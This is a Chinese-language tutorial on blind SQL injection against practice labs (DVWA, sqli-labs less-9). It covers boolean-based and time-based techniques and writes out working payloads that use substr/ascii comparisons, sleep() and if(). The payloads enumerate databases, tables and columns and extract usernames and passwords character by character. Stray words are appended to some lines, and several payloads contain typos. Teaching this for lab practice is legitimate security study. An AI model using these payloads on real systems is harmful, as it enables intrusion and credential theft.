SQL注入實戰之盲注篇(布爾、時間盲注)

首先仍是寫一下核心的語句吧。mysql

information_schema
schemata(schema_name)
tables(table_schema,table_name)
columns(table_schema,table_name,column_name)


sql

select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema='dvwa';
數據庫

select column_name from information_schema.columns where table_schema='dvwa' and table_name='users';less

select concat(username,password) from dvwa.users;函數

 

 

布爾盲注

在SQL注入過程當中,應用界面僅僅返回True(頁面)或者False(頁面)。沒法根據應用程序的返回頁面獲得須要的數據庫信息。能夠經過構造邏輯判斷(比較大小)來獲得須要的信息。spa

-select id,name from product where id=1 and 1=1orm

 

布爾型盲注步驟和語句blog

1.判斷當前數據庫名長度與數據庫名稱
and select length(database())>n  //判斷數據庫名長度
and ascii(substr(database(),m,1))>n //截取數據庫名第m個字符並轉換成ascii碼 判斷具體值

ci

2.判斷數據庫的表長度與表名字符串

and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>n  //判斷第一行表名的長度

and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1))>n  //截取第一行表名的第m個字符串轉換爲ascii值判斷具體爲多少
3.判斷數據庫的字段名長度與字段名稱

and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>n  //判斷表名中字段名的長度

adn ascii((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1))>n //截取表中字段的第m字符串轉換爲ascii值,判斷具體值

4.判斷字段的內容長度與內容字符串
and length((select user from users limit 0,1)) >1 //判斷字符串內容長度

and ascii(substr((select user from users limit 0,1),m,1)) //截取第m個字符串轉換爲ascii值

時間盲注

在SQL注入過程當中,不管注入是否成功,頁面徹底沒有變化。此時只能經過使用數據庫的延時函數來判斷注入點通常採用響應時間上的差別來判斷是否存在SQL注入,即基於時間型的SQL盲注
- select id,name from product where id=1 and sleep(2)

 

基於時間盲注sleep函數

-在mysql下,sleep的語法以下:sleep(seconds)即sleep函數代碼執行延遲若干秒

-sleep()函數執行是有條件的,必須保障sql語句執行結果存在數據記錄纔會中止指定的秒數,若是sql語句查詢結果爲空,那麼sleep函數不會中止

觀察如下語句

第一個語句:sleep函數設置查詢停留3s, sleep函數自己返回值爲0,顯示查詢時間爲3s

第二個語句:語句最後加上and 1=2 造成查詢邏輯錯誤,sleep函數不執行暫停,所以查詢時間爲0s

 

 

 

基於時間盲注if函數


邏輯判斷函數if()

if(expr1,expr2,expr3) 若是expr1爲真,則if函數執行expr2語句,不然if函數執行expr3語句

-select user from users where uer_id=1 and1=if(ascii(substr(database(),1,1))>1,sleep(5),1);

此處 若是條件ascii(substr(database(),1,1))>1成立則執行sleep(5),不然執行1

 

 

基於時間的盲注案例(sqli-lab less-9)

枚舉當前數據庫名
-    id =1' and sleep(3) and ascii(substr(database(),m,1))>n --+

枚舉當前數據庫的表名

-    id =1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1))>n and sleep(3) --+

或者利用if函數
-     id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1)) >n,sleep(5),1) --+

枚舉當前數據庫表的字段名

-    id =1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit a,1),m,1))>n and sleep(3) --+

枚舉每一個字段對應的數據項內容

-    id =1' and ascii(substr((select username from security.users limit a,1),m,1))>n and sleep(3) --+

相關文章
相關標籤/搜索